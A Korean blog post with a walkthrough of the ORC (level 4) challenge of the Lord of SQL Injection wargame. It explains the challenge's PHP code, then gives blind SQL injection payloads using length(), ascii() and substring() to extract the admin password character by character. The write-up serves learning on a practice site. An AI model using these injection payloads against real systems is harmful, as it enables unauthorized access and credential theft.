일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- Lord of SQLinjection
- SQL i
- docker compose
- ModuleNotFoundError: No module named ‘requests’
- ubuntu
- btmp
- XAVIS
- utmp
- sqli
- LOS 5번
- Kail Linux
- goblin 3번
- sql injection
- Union SQL Injection
- SQLi wargame
- MySQL
- 가상머신 os
- Error Based SQL Injection
- UTM
- Python requests 설치
- 우분투
- str_replace함수
- mocOS
- 2002(HY000)
- No module named ‘requests’
- Lord of SQL Injection
- blind SQLi
- los.rubiya.kr
- 1819 (HY000):
- M2
- Today
- Total
klaus
[Lord of SQL Injection] ORC 4단계(feat. blind based SQLi) 본문
이번 문제를 풀면서 파이썬에 중요성을 알게 되었습니다....
0.ORC
나무 위키에서 검색한 오크 모습입니다.
오크 하면 리니지 밖에 생각이 안 나는데...... 무섭게 생겼네요
1. ORC 문제 및 코드 분석
분석
먼저, query를 보면 아이디 부분에 admin으로 고정되어 있고, pw 파라미터 값을 찾아 입력해서 문제를 풀어야 할 것 같습니다.
preg_match()함수를 통해 /prob|_|\.|\(\)와 대소문자 필터링되고, WHERE를
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
f($result['id']) echo "<h2>Hello admin</h2>";
코드를 보면 결과 값이 참일 경우 Hello admin으로 출력되는 것을 알 수 있습니다.
하지만, 클리어 조건에 if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");으로 패스워드를 직접 입력해야 문제풀이가 가능합니다.
기존 문제 1~3번처럼 기본적인 쿼리문을 사용하는 것이 아닌, 직접 비밀번호를 입력해야 하고,
참과 거짓을 확인할 수 있도록 참값일 때에는 (hello admin)으로 문구가 나오고 거짓을 경우 반응이 없는 것을 보아
blind based SQLi을 사용할 수 있을 듯합니다.
blind의 경우 DB, 테이블, 칼럼, DATA 등 하나하나 찾아야 하는 번거로움이 있지만, 해당 문제에서는 prob_orc 테이블명까지 알려주는 듯합니다.
풀이
기본 틀 : ?pw='||1=1%23 == 참
?pw='||1=2%23 == 거짓 을 이용하여 문제를 풀어보도록 하겠습니다.
사용되는 함수는
length() : 문자열의 길이 확인
ascii() : 아스키코드
substring() : 문자열을 잘라 문자로 반환
먼저, pw의 길이를 확인해보겠습니다.
?pw='|| id='admin' and length(pw)=1~7%23 == 거짓
?pw='|| id='admin' and length(pw)=8%23 == 참 값으로 출력되는 것을 확인하였습니다.
패스워드의 길이 8글자 확인.
pw 찾기
기본 SQL틀 : ?pw='||1=1%23
?pw='|| id='admin' and ascii(substring(pw, 1, 1))>='0'%23 == 참인 것을 알 수 있습니다. 그럼 각각 PW문자 별 입력해보겠습니다.
첫 번째 문자 ?pw='|| id='admin' and ascii(substring(pw, 1, 1))>='48'%23 ==참
두 번째 문자 ?pw='|| id='admin' and ascii(substring(pw, 2, 1))>='57'%23 == 참
세 번째 문자 ?pw='|| id='admin' and ascii(substring(pw, 3, 1))>='53'%23 == 참
네 번째 문자 ?pw='|| id='admin' and ascii(substring(pw, 4, 1))>='97'%23 == 참
다섯 번째 문자 ?pw='|| id='admin' and ascii(substring(pw, 5, 1))>='57'%23 == 참
여섯 번째 문자 ?pw='|| id='admin' and ascii(substring(pw, 6, 1))>='56'%23 == 참
일곱 번째 문자 ?pw='|| id='admin' and ascii(substring(pw, 7, 1))>='53'%23 == 참
여덜 번째 문자 ?pw='|| id='admin' and ascii(substring(pw, 8, 1))>='50'%23 == 참
아스키코드 값에 대입해보면 095a9852을 얻을 수 있습니다.
?pw=095a9852
?pw=095a9852
'모의해킹 > Wargame' 카테고리의 다른 글
[Lord of SQL Injection] darkelf 6단계 (0) | 2022.12.05 |
---|---|
[Lord of SQL Injection] wolfman 5단계 (0) | 2022.12.03 |
[Lord of SQL Injection] goblin 3단계 (0) | 2022.11.21 |
[Lord of SQL Injection] Cobolt 2단계 (0) | 2022.11.20 |
[Lord of SQL Injection] Gremlin 1단계 (0) | 2022.11.20 |